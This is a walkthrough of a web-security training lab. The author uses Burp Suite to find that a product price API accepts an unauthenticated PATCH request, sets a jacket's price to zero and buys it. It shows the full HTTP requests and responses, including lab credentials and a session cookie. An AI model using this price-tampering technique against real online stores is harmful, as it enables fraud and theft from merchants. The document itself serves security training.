Finding and exploiting an unused API endpoint

Description

To solve the lab, exploit a hidden API endpoint to buy a Lightweight l33t Leather Jacket. You can log in to your own account using the following credentials: wiener:peter.

Approach

After accessing the lab, I enabled the FoxyProxy extension to proxy all my requests through Burp Suite to monitor any interactions with an API. I found this request which retrieves the price of a product:

GET /api/products/1/price HTTP/2
Host: 0ad9002e04d7165180d17b9c006200f3.web-security-academy.net
Cookie: session=B57JJLbT3WrOqb71lPttj8S3Vh3rjOQv
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...

First, I wanted to see if changing the HTTP method would alter its behavior. I sent the request to Burp Intruder and added a payload marker at the HTTP method. In the payloads tab, I chose the HTTP verbs list (note: adding lists is available in Burp Suite Pro, but you can manually build your own list if needed).

§GET§ /api/products/1/price HTTP/2
Host: 0ad9002e04d7165180d17b9c006200f3.web-security-academy.net
Cookie: session=B57JJLbT3WrOqb71lPttj8S3Vh3rjOQv
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0ad9002e04d7165180d17b9c006200f3.web-security-academy.net/product?productId=1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

After sending the attack, I filtered the responses by length and found one with a different length using the PATCH HTTP method. The response indicated that the content should be sent as JSON:

{
	 "type":"ClientError",
	 "code":400,
	 "error":"Only 'application/json' Content-Type is supported"
 }

I used the Content-Type Converter extension to change the content type to JSON and resent the request. A new error message indicated that a parameter named price was missing. I added this parameter and resent the request:

PATCH /api/products/1/price HTTP/2
Host: 0ad9002e04d7165180d17b9c006200f3.web-security-academy.net
Cookie: session=B57JJLbT3WrOqb71lPttj8S3Vh3rjOQv
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...

{"price":""}

The response was:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 77

{"type":"ClientError","code":400,"error":"'price' parameter missing in body"}

I set the price to 0 and sent the request again, which resulted in a 200 response:

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 17

{"price":"$0.00"}

After reloading the page, I saw that the leather jacket was now priced at $0. I bought it and solved the lab.